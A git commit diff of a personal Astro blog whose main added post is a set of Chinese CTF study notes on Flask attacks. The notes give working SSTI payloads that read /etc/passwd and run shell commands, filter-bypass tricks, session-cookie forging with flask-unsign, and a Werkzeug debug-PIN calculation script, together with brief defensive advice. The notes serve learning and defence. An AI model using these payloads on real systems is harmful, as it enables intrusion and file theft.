提交完整Astro博客源码
This commit is contained in:
BIN
MyBlog.zip
Normal file
BIN
MyBlog.zip
Normal file
Binary file not shown.
5710
package-lock.json
generated
Normal file
5710
package-lock.json
generated
Normal file
File diff suppressed because it is too large
Load Diff
BIN
src/assets/BladeRunner.png
Normal file
BIN
src/assets/BladeRunner.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.4 MiB |
BIN
src/assets/background.jpg
Normal file
BIN
src/assets/background.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 123 KiB |
BIN
src/assets/boy.jpg
Normal file
BIN
src/assets/boy.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.0 MiB |
BIN
src/assets/flower.jpg
Normal file
BIN
src/assets/flower.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 47 KiB |
BIN
src/assets/wondering.jpg
Normal file
BIN
src/assets/wondering.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 135 KiB |
@@ -3,7 +3,7 @@ const today = new Date();
|
||||
---
|
||||
|
||||
<footer>
|
||||
© {today.getFullYear()} Your name here. All rights reserved.
|
||||
© {today.getFullYear()} Marvin . All rights reserved.
|
||||
<div class="social-links">
|
||||
<a href="https://m.webtoo.ls/@astro" target="_blank">
|
||||
<span class="sr-only">Follow Astro on Mastodon</span>
|
||||
|
||||
@@ -1,214 +1,246 @@
|
||||
---
|
||||
title: 'Markdown Style Guide'
|
||||
description: 'Here is a sample of some basic Markdown syntax that can be used when writing Markdown content in Astro.'
|
||||
pubDate: 'Jun 19 2024'
|
||||
heroImage: '../../assets/blog-placeholder-1.jpg'
|
||||
title: 'Python 漏洞初阶'
|
||||
description: 'Here is a sample of some basic python 漏洞'
|
||||
pubDate: 'Apr 13 2026'
|
||||
heroImage: '../../assets/boy.jpg'
|
||||
---
|
||||
|
||||
Here is a sample of some basic Markdown syntax that can be used when writing Markdown content in Astro.
|
||||
# SSTI
|
||||
|
||||
## Headings
|
||||
## flask框架中的ssti
|
||||
[flask框架漏洞](https://blog.csdn.net/weixin_44190459/article/details/116774912)
|
||||
|
||||
[Python 正则表达式 | 菜鸟教程](https://www.runoob.com/python/python-reg-expressions.html)
|
||||
[Python 面向对象 | 菜鸟教程](https://www.runoob.com/python/python-object.html)
|
||||
|
||||
The following HTML `<h1>`—`<h6>` elements represent six levels of section headings. `<h1>` is the highest section level while `<h6>` is the lowest.
|
||||
>SSTI(Server-Side Template Injection) 服务端模板注入 ,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分渲染,可能导致敏感信息泄露、代码执行、GetShell 等。
|
||||
|
||||
# H1
|
||||
如何避免:
|
||||
1. 不要使用`f-string`拼接模板,`render_template_string`,如
|
||||
`render_template_string(f"Hello {name}")`
|
||||
安全的写法:`render_template('index.html',name=name)`
|
||||
2. 只把用户输入当变量传,而不是模板代码;如果必须动态渲染,一定要严格过滤`{{}} {% %} {# #}`等
|
||||
|
||||
## H2
|
||||
利用方式:
|
||||
获取到基类 object,重点关注 os/file 这些关键字。如`{{("".__class__.__base__.__subclasses__())}}`查看所有子类,再用脚本寻找可以利用的类:
|
||||
```python
|
||||
import re
|
||||
|
||||
### H3
|
||||
data=r'''[<class 'type'>, <class 'async_generator'>]'''
|
||||
|
||||
#### H4
|
||||
useful_class=['linecache', 'os._wrap_close', 'subprocess.Popen',
|
||||
'warnings.catch_warnings', '_frozen_importlib._ModuleLock',
|
||||
'_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager',
|
||||
'_frozen_importlib.ModuleSpec']
|
||||
|
||||
pattern=re.compile(r"'(.*?)'")
|
||||
|
||||
##### H5
|
||||
|
||||
###### H6
|
||||
|
||||
## Paragraph
|
||||
|
||||
Xerum, quo qui aut unt expliquam qui dolut labo. Aque venitatiusda cum, voluptionse latur sitiae dolessi aut parist aut dollo enim qui voluptate ma dolestendit peritin re plis aut quas inctum laceat est volestemque commosa as cus endigna tectur, offic to cor sequas etum rerum idem sintibus eiur? Quianimin porecus evelectur, cum que nis nust voloribus ratem aut omnimi, sitatur? Quiatem. Nam, omnis sum am facea corem alique molestrunt et eos evelece arcillit ut aut eos eos nus, sin conecerem erum fuga. Ri oditatquam, ad quibus unda veliamenimin cusam et facea ipsamus es exerum sitate dolores editium rerore eost, temped molorro ratiae volorro te reribus dolorer sperchicium faceata tiustia prat.
|
||||
|
||||
Itatur? Quiatae cullecum rem ent aut odis in re eossequodi nonsequ idebis ne sapicia is sinveli squiatum, core et que aut hariosam ex eat.
|
||||
|
||||
## Images
|
||||
|
||||
### Syntax
|
||||
|
||||
```markdown
|
||||

|
||||
class_list=pattern.findall(data)
|
||||
for i in class_list:
|
||||
for j in useful_class:
|
||||
if j in i:
|
||||
print(str(class_list.index(i))+":"+i)
|
||||
```
|
||||
|
||||
### Output
|
||||
|
||||

|
||||
|
||||
## Blockquotes
|
||||
|
||||
The blockquote element represents content that is quoted from another source, optionally with a citation which must be within a `footer` or `cite` element, and optionally with in-line changes such as annotations and abbreviations.
|
||||
|
||||
### Blockquote without attribution
|
||||
|
||||
#### Syntax
|
||||
|
||||
```markdown
|
||||
> Tiam, ad mint andaepu dandae nostion secatur sequo quae.
|
||||
> **Note** that you can use _Markdown syntax_ within a blockquote.
|
||||
但是有的题目不会显示subclasses,这是需要我们直接输入小脚本,观察页面回显,如
|
||||
```python
|
||||
{% for x in ().__class__.__base__.__subclasses__() %}
|
||||
{% if "warning" in x.__name__ %}
|
||||
{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
|
||||
{%endif%}
|
||||
{%endfor%}
|
||||
```
|
||||
|
||||
#### Output
|
||||
获取到有用的类的下标后,我们可以进行:
|
||||
#### 命令执行
|
||||
```python
|
||||
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__['popen']('ls').read()}}
|
||||
```
|
||||
可以先看这个类里面有什么`__globals__.keys()`,这里直接`__globals__['popen']`是因为发现__globals__下面没有os模块,如果有,可以`__globals__['os'].popen('ls').read()`
|
||||
|
||||
> Tiam, ad mint andaepu dandae nostion secatur sequo quae.
|
||||
> **Note** that you can use _Markdown syntax_ within a blockquote.
|
||||
```python
|
||||
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__.__builtins__['eval']('__import__('os').popen('ls /').read()')}}
|
||||
|
||||
### Blockquote with attribution
|
||||
```
|
||||
有些ctf题`ls`发现没有与flag相关的文件夹,flag可能在环境变量`env`里,即`__globals__['popen']('env').read()`
|
||||
#### 文件读取
|
||||
```python
|
||||
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__.__builtins__['open']('1.txt').read()}}
|
||||
```
|
||||
发现无法打开.py文件?
|
||||
### 绕过
|
||||
[linux命令绕过](https://blog.csdn.net/m0_67844671/article/details/133239381)
|
||||
#### 关键字(空格,点号)过滤
|
||||
|
||||
#### Syntax
|
||||
|
||||
```markdown
|
||||
> Don't communicate by sharing memory, share memory by communicating.<br>
|
||||
> — <cite>Rob Pike[^1]</cite>
|
||||
```python
|
||||
# +号拼接绕过,也用于点过滤
|
||||
{{ ""['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']() }}
|
||||
```
|
||||
|
||||
#### Output
|
||||
```python
|
||||
# 使用Jinjia2的~号拼接
|
||||
{% set a='__cl' %}{% set b='ass__' %}{% set c='__ba' %}{% set d='se__' %}{{()[a~b][c~d] }}
|
||||
```
|
||||
注意拼接时`()`要放在引号外面,`subclasses` 是方法,不是属性。方法必须加 () 调用,不能直接当键名查
|
||||
|
||||
> Don't communicate by sharing memory, share memory by communicating.<br>
|
||||
> — <cite>Rob Pike[^1]</cite>
|
||||
```python
|
||||
# 使用过滤器reverse绕过
|
||||
{% set a='__ssalc__'|reverse %}{{ ()[a] }}
|
||||
# 不带空格简洁
|
||||
{{''['__ssalc__'[::-1]]}}
|
||||
```
|
||||
|
||||
```python
|
||||
# 使用 join 过滤器绕过,同时可以绕过引号过滤
|
||||
{% set a=dict(__cl=a,ass__=a)|join %}{{ ()[a] }}
|
||||
```
|
||||
#### 符号过滤
|
||||
|
||||
[^1]: The above quote is excerpted from Rob Pike's [talk](https://www.youtube.com/watch?v=PAAkCSZUG1c) during Gopherfest, November 18, 2015.
|
||||
|
||||
## Tables
|
||||
|
||||
### Syntax
|
||||
|
||||
```markdown
|
||||
| Italics | Bold | Code |
|
||||
| --------- | -------- | ------ |
|
||||
| _italics_ | **bold** | `code` |
|
||||
```python
|
||||
# {{和}}被过滤使用{%和%}绕过
|
||||
{% print(''.__class__) %}
|
||||
```
|
||||
`{% %}`定义变量、循环、判断等逻辑操作,不输出
|
||||
```python
|
||||
# 中括号过滤,魔术方法__getitem__可代替中括号
|
||||
.__subclasses__().__getitem__(13).__getitem__('popen')
|
||||
```
|
||||
|
||||
### Output
|
||||
|
||||
| Italics | Bold | Code |
|
||||
| --------- | -------- | ------ |
|
||||
| _italics_ | **bold** | `code` |
|
||||
|
||||
## Code Blocks
|
||||
|
||||
### Syntax
|
||||
|
||||
we can use 3 backticks ``` in new line and write snippet and close with 3 backticks on new line and to highlight language specific syntax, write one word of language name after first 3 backticks, for eg. html, javascript, css, markdown, typescript, txt, bash
|
||||
|
||||
````markdown
|
||||
```html
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<title>Example HTML5 Document</title>
|
||||
</head>
|
||||
<body>
|
||||
<p>Test</p>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
````
|
||||
|
||||
### Output
|
||||
|
||||
```html
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<title>Example HTML5 Document</title>
|
||||
</head>
|
||||
<body>
|
||||
<p>Test</p>
|
||||
</body>
|
||||
</html>
|
||||
```python
|
||||
# 过滤点[]
|
||||
{{()|attr('__class__')|attr('__base__')}}
|
||||
```
|
||||
|
||||
## List Types
|
||||
```python
|
||||
# 下划线被过滤,可以使用过滤器输入下划线,如使用函数attr()
|
||||
{{()|attr(request.form.p1)|attr(request.form.p2)}}
|
||||
# 同时post传参p1=__class__&p2=__base__
|
||||
|
||||
### Ordered List
|
||||
|
||||
#### Syntax
|
||||
|
||||
```markdown
|
||||
1. First item
|
||||
2. Second item
|
||||
3. Third item
|
||||
#也可以将下划线16进制编码
|
||||
{{()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']}}
|
||||
```
|
||||
|
||||
#### Output
|
||||
|
||||
1. First item
|
||||
2. Second item
|
||||
3. Third item
|
||||
|
||||
### Unordered List
|
||||
|
||||
#### Syntax
|
||||
|
||||
```markdown
|
||||
- List item
|
||||
- Another item
|
||||
- And another item
|
||||
```python
|
||||
# 单双引号被过滤可get/post传参
|
||||
#get传参 ?p1=popen&p2=cat /flag
|
||||
{{.__globals__[request.args.p1](request.args.p2).read()}}
|
||||
```
|
||||
|
||||
#### Output
|
||||
|
||||
- List item
|
||||
- Another item
|
||||
- And another item
|
||||
|
||||
### Nested list
|
||||
|
||||
#### Syntax
|
||||
|
||||
```markdown
|
||||
- Fruit
|
||||
- Apple
|
||||
- Orange
|
||||
- Banana
|
||||
- Dairy
|
||||
- Milk
|
||||
- Cheese
|
||||
```python
|
||||
# 数字被过滤,a=5*5+1=26
|
||||
{% set a='aaaaa'|length*'aaaaa'|length+'a'|length %}{{().__class_.__base__.__subclasses__()[a]}}
|
||||
```
|
||||
|
||||
#### Output
|
||||
|
||||
- Fruit
|
||||
- Apple
|
||||
- Orange
|
||||
- Banana
|
||||
- Dairy
|
||||
- Milk
|
||||
- Cheese
|
||||
|
||||
## Other Elements — abbr, sub, sup, kbd, mark
|
||||
|
||||
### Syntax
|
||||
|
||||
```markdown
|
||||
<abbr title="Graphics Interchange Format">GIF</abbr> is a bitmap image format.
|
||||
|
||||
H<sub>2</sub>O
|
||||
|
||||
X<sup>n</sup> + Y<sup>n</sup> = Z<sup>n</sup>
|
||||
|
||||
Press <kbd>CTRL</kbd> + <kbd>ALT</kbd> + <kbd>Delete</kbd> to end the session.
|
||||
|
||||
Most <mark>salamanders</mark> are nocturnal, and hunt for insects, worms, and other small creatures.
|
||||
获取特殊字符
|
||||
```python
|
||||
{% set a=(lipsum|string|list) %}{{a[18]}}
|
||||
```
|
||||
|
||||
### Output
|
||||
![[Pasted image 20260405175857.png]]
|
||||
### 工具
|
||||
|
||||
<abbr title="Graphics Interchange Format">GIF</abbr> is a bitmap image format.
|
||||
鸡肋?焚靖(fenjing)是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,但咋没用?
|
||||
|
||||
H<sub>2</sub>O
|
||||
## flask session
|
||||
|
||||
X<sup>n</sup> + Y<sup>n</sup> = Z<sup>n</sup>
|
||||
[Python Flask Session漏洞](https://blog.csdn.net/qq_46143339/article/details/155313682)
|
||||
flask session 存储在客户端cookie中,且仅对session进行了签名。
|
||||
cookie结构
|
||||
```python
|
||||
.base64(payload).base64(timestamp).base64(hmac-signature)
|
||||
```
|
||||
### 流程示例
|
||||
|
||||
Press <kbd>CTRL</kbd> + <kbd>ALT</kbd> + <kbd>Delete</kbd> to end the session.
|
||||
1. 找到cookie中的session值,用flask-unsign解密,得到类似于`{'is_admin': False}`的形式
|
||||
```bash
|
||||
flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9'
|
||||
```
|
||||
2. 找secret_key,方法很多,看题目
|
||||
- debug=True
|
||||
- 在源码/配置文件里找 app.py config.py .env .git,可结合任意文件读取
|
||||
- 结合ssti `{{config.SECRET_KEY}}`
|
||||
- [字典爆破](https://github.com/dw0rsec/rockyou.txt)
|
||||
```bash
|
||||
flask-unsign --unsign --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9' --wordlist rockyou.txt
|
||||
```
|
||||
3. 构造管理员session
|
||||
```bash
|
||||
flask-unsign --sign --secret "weak_key" --cookie "{'is_admin': True}"
|
||||
```
|
||||
|
||||
Most <mark>salamanders</mark> are nocturnal, and hunt for insects, worms, and other small creatures.
|
||||
### 防御
|
||||
用强随机密钥
|
||||
把`secret_key`写在**环境变量**或**配置文件**中
|
||||
生产环境关闭debug
|
||||
```python
|
||||
app.config.update(
|
||||
SECRET_KEY = os.urandom(24), # 必须强随机
|
||||
SESSION_COOKIE_HTTPONLY = True,
|
||||
SESSION_COOKIE_SECURE = True, # 强制HTTPS
|
||||
SESSION_COOKIE_SAMESITE = 'Strict',
|
||||
)
|
||||
```
|
||||
## flask-debug模式的安全隐患
|
||||
|
||||
开发环境中设置`app.run(debug=True)`时,它提供了自动重载、详细的错误页面和交互式调试器等便利功能。
|
||||
在`debug`的环境下输入`PIN`码调用`python`的交互式`shell`
|
||||
|
||||
> 但需要6个参数呃呃呃
|
||||
```
|
||||
1. username: 运行该Flask程序的用户名 /etc/passwd文件内
|
||||
2. modname: 模块名 flask.app
|
||||
3. getattr(): app名,值为Flask
|
||||
4. getattr(): Flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是 app.py,Python2中是app.pyc。 报错页面回显(访问报错界面 输入不能识别的参数) str(uuid.getnode()):
|
||||
5. MAC地址,读取这两个文件地址:/sys/class/net/eth0/address或者/sys/class/net/ens33/address
|
||||
6. get_machine_id(): 系统id /etc/machine-id 或者docker环境id /proc/self/cgroup
|
||||
```
|
||||
|
||||
因为需要读取文件目录,就要找执行文件读取函数的模块子类,所以会搭配`ssti`注入,如获取mac地址
|
||||
```python
|
||||
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
|
||||
```
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
from itertools import chain
|
||||
|
||||
probably_public_bits = [
|
||||
'flaskweb' # 1.username
|
||||
'flask.app', # 2.modname
|
||||
'Flask', # 3.appname
|
||||
'/usr/local/lib/python3.7/site-packages/flask/app.py' # 4.moddir
|
||||
]
|
||||
|
||||
private_bits = [
|
||||
'130771165565282', # 5.str(uuid.getnode())
|
||||
'1408f836b0ca514d796cbf8960e45fa1' # 6.machine-id
|
||||
]
|
||||
|
||||
# py<=3.7 是 md5 ,3.8 以后是 sha1
|
||||
h = hashlib.md5()
|
||||
for bit in chain(probably_public_bits, private_bits):
|
||||
if not bit:
|
||||
continue
|
||||
if isinstance(bit, str):
|
||||
bit = bit.encode('utf-8')
|
||||
h.update(bit)
|
||||
h.update(b'cookiesalt')
|
||||
|
||||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||||
|
||||
num = None
|
||||
if num is None:
|
||||
h.update(b'pinsalt')
|
||||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||||
|
||||
rv = None
|
||||
if rv is None:
|
||||
for group_size in 5, 4, 3:
|
||||
if len(num) % group_size == 0:
|
||||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||||
for x in range(0, len(num), group_size))
|
||||
break
|
||||
else:
|
||||
rv = num
|
||||
print(rv)
|
||||
```
|
||||
@@ -1,63 +1,14 @@
|
||||
---
|
||||
import AboutHeroImage from '../assets/blog-placeholder-about.jpg';
|
||||
import AboutHeroImage from '../assets/background.jpg';
|
||||
import Layout from '../layouts/BlogPost.astro';
|
||||
---
|
||||
|
||||
<Layout
|
||||
title="About Me"
|
||||
description="Lorem ipsum dolor sit amet"
|
||||
pubDate={new Date('August 08 2021')}
|
||||
title="About Marvin"
|
||||
description="一个有意思的大学生,正在探索世界..."
|
||||
pubDate={new Date('April 04 2026')}
|
||||
heroImage={AboutHeroImage}
|
||||
>
|
||||
<p>
|
||||
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut
|
||||
labore et dolore magna aliqua. Vitae ultricies leo integer malesuada nunc vel risus commodo
|
||||
viverra. Adipiscing enim eu turpis egestas pretium. Euismod elementum nisi quis eleifend quam
|
||||
adipiscing. In hac habitasse platea dictumst vestibulum. Sagittis purus sit amet volutpat. Netus
|
||||
et malesuada fames ac turpis egestas. Eget magna fermentum iaculis eu non diam phasellus
|
||||
vestibulum lorem. Varius sit amet mattis vulputate enim. Habitasse platea dictumst quisque
|
||||
sagittis. Integer quis auctor elit sed vulputate mi. Dictumst quisque sagittis purus sit amet.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Morbi tristique senectus et netus. Id semper risus in hendrerit gravida rutrum quisque non
|
||||
tellus. Habitasse platea dictumst quisque sagittis purus sit amet. Tellus molestie nunc non
|
||||
blandit massa. Cursus vitae congue mauris rhoncus. Accumsan tortor posuere ac ut. Fringilla urna
|
||||
porttitor rhoncus dolor. Elit ullamcorper dignissim cras tincidunt lobortis. In cursus turpis
|
||||
massa tincidunt dui ut ornare lectus. Integer feugiat scelerisque varius morbi enim nunc.
|
||||
Bibendum neque egestas congue quisque egestas diam. Cras ornare arcu dui vivamus arcu felis
|
||||
bibendum. Dignissim suspendisse in est ante in nibh mauris. Sed tempus urna et pharetra pharetra
|
||||
massa massa ultricies mi.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Mollis nunc sed id semper risus in. Convallis a cras semper auctor neque. Diam sit amet nisl
|
||||
suscipit. Lacus viverra vitae congue eu consequat ac felis donec. Egestas integer eget aliquet
|
||||
nibh praesent tristique magna sit amet. Eget magna fermentum iaculis eu non diam. In vitae
|
||||
turpis massa sed elementum. Tristique et egestas quis ipsum suspendisse ultrices. Eget lorem
|
||||
dolor sed viverra ipsum. Vel turpis nunc eget lorem dolor sed viverra. Posuere ac ut consequat
|
||||
semper viverra nam. Laoreet suspendisse interdum consectetur libero id faucibus. Diam phasellus
|
||||
vestibulum lorem sed risus ultricies tristique. Rhoncus dolor purus non enim praesent elementum
|
||||
facilisis. Ultrices tincidunt arcu non sodales neque. Tempus egestas sed sed risus pretium quam
|
||||
vulputate. Viverra suspendisse potenti nullam ac tortor vitae purus faucibus ornare. Fringilla
|
||||
urna porttitor rhoncus dolor purus non. Amet dictum sit amet justo donec enim.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Mattis ullamcorper velit sed ullamcorper morbi tincidunt. Tortor posuere ac ut consequat semper
|
||||
viverra. Tellus mauris a diam maecenas sed enim ut sem viverra. Venenatis urna cursus eget nunc
|
||||
scelerisque viverra mauris in. Arcu ac tortor dignissim convallis aenean et tortor at. Curabitur
|
||||
gravida arcu ac tortor dignissim convallis aenean et tortor. Egestas tellus rutrum tellus
|
||||
pellentesque eu. Fusce ut placerat orci nulla pellentesque dignissim enim sit amet. Ut enim
|
||||
blandit volutpat maecenas volutpat blandit aliquam etiam. Id donec ultrices tincidunt arcu. Id
|
||||
cursus metus aliquam eleifend mi.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Tempus quam pellentesque nec nam aliquam sem. Risus at ultrices mi tempus imperdiet. Id porta
|
||||
nibh venenatis cras sed felis eget velit. Ipsum a arcu cursus vitae. Facilisis magna etiam
|
||||
tempor orci eu lobortis elementum. Tincidunt dui ut ornare lectus sit. Quisque non tellus orci
|
||||
ac. Blandit libero volutpat sed cras. Nec tincidunt praesent semper feugiat nibh sed pulvinar
|
||||
proin gravida. Egestas integer eget aliquet nibh praesent tristique magna.
|
||||
</p>
|
||||
<p>我是Marvin,一个对 Life IT Money 充满热情的在校大学生。</p>
|
||||
<p>这是我开发的首个个人博客,请大家见证我的成长!</p>
|
||||
</Layout>
|
||||
|
||||
@@ -13,7 +13,7 @@ import { SITE_DESCRIPTION, SITE_TITLE } from '../consts';
|
||||
<body>
|
||||
<Header />
|
||||
<main>
|
||||
<h1>🧑🚀 Hello, Astronaut!</h1>
|
||||
<h1>Sorry,see me at About to learn more</h1>
|
||||
<p>
|
||||
Welcome to the official <a href="https://astro.build/">Astro</a> blog starter template. This template
|
||||
serves as a lightweight, minimally-styled starting point for anyone looking to build a personal
|
||||
|
||||
Reference in New Issue
Block a user